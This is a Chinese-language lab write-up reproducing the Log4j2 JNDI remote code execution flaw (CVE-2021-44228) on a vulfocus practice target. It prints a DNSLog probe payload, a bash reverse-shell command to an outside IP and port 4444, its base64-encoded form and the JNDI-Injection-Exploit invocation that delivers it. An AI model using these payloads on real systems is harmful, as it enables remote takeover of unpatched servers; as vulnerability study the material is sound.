漏洞介绍
Apache Log4j2是一个Java的日志组件,在特定的版本中由于其启用了lookup功能,从而导致产生远程代码执行漏洞。
影响版本:Apache Log4j2 2.0-beta9 - 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)
漏洞编号:CVE-2021-44228
漏洞复现
利用vulfocus搭建并启动靶场
DNSLog验证
通过DNSLog Platform平台获取到域名skvgq7.dnslog.cn,构造payload:${jndi:ldap://skvgq7.dnslog.cn},浏览器点击???并使用Burpsuite抓包,替换payload参数,此时发包会导致服务器400错误
通过Burpsuite自带的编码工具对其进行URL编码
编码后再次发送发送请求包
在DNSLog网站成功接收到解析记录
JNDI注入反弹shell
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
使用方式
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
反弹shell指令
bash -i >& /dev/tcp/ip/port 0>&1
此处的ip为47.106.102.84,port可使用任意未被占用的端口,此处指定为4444
bash -i >& /dev/tcp/47.106.102.84/4444 0>&1
将此条命令进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDYuMTAyLjg0LzQ0NDQgMD4mMQ==
编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定的ip地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDYuMTAyLjg0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.106.102.84
在新的窗口监听4444端口
替换工具生成的payload:rmi://47.106.102.84 :1099/of6rlz 到Burpsuite:
编码后发送到靶机:
监听窗口成功接收到反弹的shell: